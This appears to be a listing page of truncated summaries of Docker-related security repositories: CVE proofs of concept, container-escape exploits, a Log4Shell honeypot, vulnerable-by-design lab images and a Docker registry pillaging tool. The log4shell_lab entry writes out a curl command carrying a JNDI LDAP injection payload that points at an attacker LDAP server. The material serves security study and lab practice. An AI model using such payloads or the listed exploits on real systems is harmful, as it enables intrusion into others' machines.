CVE-2022-39275

CVE-2022-39275 POC for CVE-2022-39275. Resources for the advisory: NIST NVD CVE.org Github Security Advisory This is a fork of commit hash: 47f9f5fb29be2b5892c79ace4f23022f397a0a5e link, just re-pushed as there were git submodules that also had to be changed. POC-Setup Follow the setup guide. In...

Log4Shell-Honeypot

Log4Shell Honeypot Enhanced dockerized honeypot for CVE-2021-44228 with comprehensive security features, monitoring, and alerting capabilities. Features Enhanced Detection Comprehensive Pattern Matching : Detects 20+ Log4Shell exploit patterns including JNDI, LDAP, RMI, DNS, and environment...

CVE-2019-5736-PoC

CVE-2019-5736-PoC CVE-2019-5736 的 PoC 在 @singe、@cablethief 和 @feexd 的帮助下创建 已在 Ubuntu 18.04、Debian 9 和 Arch Linux 上测试。Docker 版本 18.09.1-ce 和 18.03.1-ce。此 PoC 目前不适用于 Ubuntu 16.04 和 CentOS。 请前往 Dragon Sector（发现该漏洞的团队）的漏洞利用代码，地址为 此处。 这是什么？ 这是 CVE-2019-5736 的 Go 实现，一个针对 Docker 的容器逃逸漏洞。该漏洞利用通过覆盖并执行主机系统...

cve-2019-5420

CVE-2019-5420 This is part of Cved: a tool to manage vulnerable docker containers. Cved: https://github.com/git-rep-src/cved Image source: https://github.com/cved-sources/cve-2019-5420 Image author: https://github.com/knqyf263/CVE-2019-5420...

blackboxprotobuf

Blackbox Protobuf Blackbox Protobuf now has an official package on PyPi under the namebbpb. The blackboxprotobuf package is an older fork Description Blackbox Protobuf is a set of tools for working with encoded Protocol Buffers protobuf without the matching protobuf definition. Protobuf is a bina...

go-pillage-registries

go-pillage-registries 该项目会获取一个 Docker 注册表，并对其目录中每个镜像的 manifest 和 configuration 进行掠夺。 它使用 Google 的 crane 命令包，该包应遵循 Docker 的 keychain 语义。 如果你想覆盖此行为，只需按照 https://github.com/google/go-containerregistry/tree/master/pkg/authn/k8schain 中的描述更改 authn.DefaultKeychain 即可。 安装： root@kitploit: git clone...

cve-images

cve-images — intentionally vulnerable lab images A collection of deliberately vulnerable Docker images for security study in an isolated lab. Started as nginx CVE reproductions and is growing into a broader set of vulnerable-by-design images e.g. DVWA. ⚠️ Safety These images are vulnerable on...

VulApps

VulApps http://vulapps.evalbug.com/ 收集各种漏洞环境，为方便使用，统一采用 Dockerfile 形式。同时也收集了安全工具环境。 喜欢请点 Star，如果不打算贡献，千万别 Fork 本项目 GitHub 地址: https://github.com/Medicean/VulApps DockerHub 在线镜像地址 获取并使用相关镜像 直接使用 docker 命令拉取相关镜像，并启动。 需要查看相关环境的 tag 在Github具体的漏洞目录下查看 README 文件 以 Struts2 S2-037 漏洞环境为例： 通过 S2-037漏洞环境的...

CVE-2025-9074-docker-escape

CVE-2025-9074-Docker Escape HTB MonitorsFour This code is for educational purposes only and controlled environments such as laboratories Hack The Box. Do not use on systems without authorization. This repository contains an exploit script for the Docker Remote API exposed without authentication...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

FORT-validator

FORT Validator Un Relying Party de RPKI y servidor RTR. Documentación Inicio Instalación Uso Argumentos Imagen de Docker Consulte el directorio docker/...

GoCD_PoC_Supply_Chain_Attack

GoCD 20.10.0 — PoC: CVE-2021-43287 · CVE-2021-43288 · CVE-2021-43289 · CVE-2021-43290 Autor / Author: Higor Farias — PRIDE Security ⚠️ AVISO LEGAL / LEGAL DISCLAIMER PT Material produzido exclusivamente para fins educacionais e de pesquisa em segurança ofensiva. Utilize somente em ambientes...

CVE-2025-9074-Docker-Desktop-Container-Escape

CVE-2025-9074: Docker Desktop Container Escape PoC Proof of Concept exploit for CVE-2025-9074 - a critical container escape vulnerability in Docker Desktop that allows unauthenticated access to the Docker Engine API. Vulnerability Overview Property| Value ---|--- CVE ID| CVE-2025-9074 CVSS Score|...

HTTP-2-RapidReset-CVE-2023-44487-Testlab

This repo is the source code of my docker lab, made for my thesis research...

CVE-2017-5638-Attack-and-Defense

Apache Struts2 S2-045 Defense & Exploitation Lab A Docker-based security lab demonstrating both exploitation and defense against the Apache Struts2 S2-045 vulnerability CVE-2017-5638. This lab includes: 1. Vulnerable Application : Struts 2.3.31 vulnerable to S2-045 for exploitation demonstration ...

CVE-2025-34159

CVE-2025-34159：Coolify 中的 Docker Compose 注入漏洞 漏洞概述 字段| 值 ---|--- CVE 标识符| CVE-2025-34159 影响范围| Coolify ≤ v4.0.0-beta.420.6 修复版本| v4.0.0-beta.420.7 严重性| 严重 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78（操作系统命令注入）、CWE-20（输入验证不恰当） 执行摘要 Coolify...

neko-master

Neko Master Ve el tráfico de tu red con claridad. Monitoreo en tiempo real · Auditoría de tráfico · Soporte multi-gateway English | 中文 !IMPORTANT Aviso legal Este proyecto es una herramienta de análisis y visualización de tráfico para entornos de gateway locales. No proporciona ningún servicio de...

cve-2025-57819-freepbx-range

CVE-2025-57819 FreePBX Cyber Range Cyber-range educativo aislado para CVE-2025-57819 CWE-89, CWE-288. Aplicación de entrenamiento compatible con FreePBX original — no es el FreePBX oficial de Sangoma. Inicio rápido root@kitploit: git clone...

poc-redis

要运行该漏洞利用程序，请解压附带的 ZIP 文件，并在 Linux 上按照以下步骤操作： 1. 设置虚拟环境/安装 Redis 客户端 root@kitploit: $ python3 -m venv .venv $ source .venv/bin/activate $ pip install -r requirements.txt 2. 在另一个终端中，运行 Redis docker 镜像 或者从源码构建并在受支持的平台上运行 该漏洞利用程序已在 Fedora 40/Ubuntu 24.04 上测试并运行成功 root@kitploit: $ docker run -p6379:63...

WSGoat

WebSocket GOAT Una aplicación WebSocket deliberadamente vulnerable y dockerizada, diseñada para aprender y practicar pruebas de seguridad en WebSocket en un entorno controlado. El laboratorio implementa una aplicación web realista con autenticación, mensajería privada, perfiles de usuario y...